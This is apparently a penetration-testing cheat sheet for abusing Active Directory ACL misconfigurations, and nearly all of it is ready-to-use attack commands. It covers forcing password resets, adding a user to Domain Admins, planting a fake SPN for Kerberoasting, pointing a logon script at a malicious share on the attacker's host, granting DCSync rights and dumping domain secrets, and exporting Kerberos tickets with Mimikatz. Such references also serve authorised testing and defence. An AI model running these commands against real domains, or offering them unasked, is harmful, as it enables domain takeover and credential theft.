ACL / Misconfiguration Exploitation

reference 11 commands 3 tools

yieldskrbtgt hash

toolspowerviewimpacketmimikatz

GenericAll (Full Control over Object)

Detected in BloodHound · edge: GenericAll from your user to target user/group

Reset target user's password

net rpc password <TARGET-USER> <NEW-PASS> -U <DOMAIN>/<YOUR-USER>%<YOUR-PASS> -S <DC-IP>

From PowerView (Windows):

Set-DomainUserPassword -Identity <TARGET-USER> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)

Add yourself to a group

net group "Domain Admins" <YOUR-USER> /add /domain

From PowerView:

Add-DomainGroupMember -Identity "Domain Admins" -Members <YOUR-USER>

GenericWrite (Write Object Properties)

Can write to target object's attributes

Attack: add SPN to target user → Kerberoast them

Set-DomainObject -Identity <TARGET-USER> -Set @{serviceprincipalname='fake/BLAH'}

impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request

Attack: set logon script

Set-DomainObject -Identity <TARGET-USER> -Set @{scriptpath='\\<YOUR-IP>\share\malicious.bat'}

WriteDACL (Modify ACL on Object)

Add DCSync rights to your user

Add-ObjectACL -PrincipalIdentity <YOUR-USER> -TargetIdentity <DOMAIN> \
  -Rights DCSync

Now run DCSync with your account

impacket-secretsdump <DOMAIN>/<YOUR-USER>:<PASS>@<DC-IP>

Unconstrained Delegation

Find computers with unconstrained delegation (BloodHound or):

impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>

Any TGTs cached on this machine when privileged users connect

Compromise the machine → dump TGTs with Mimikatz:

sekurlsa::tickets /export       # Dump all tickets

Look for krbtgt or DA tickets → PTT → game over

connected

leads to

via powerview

via mimikatz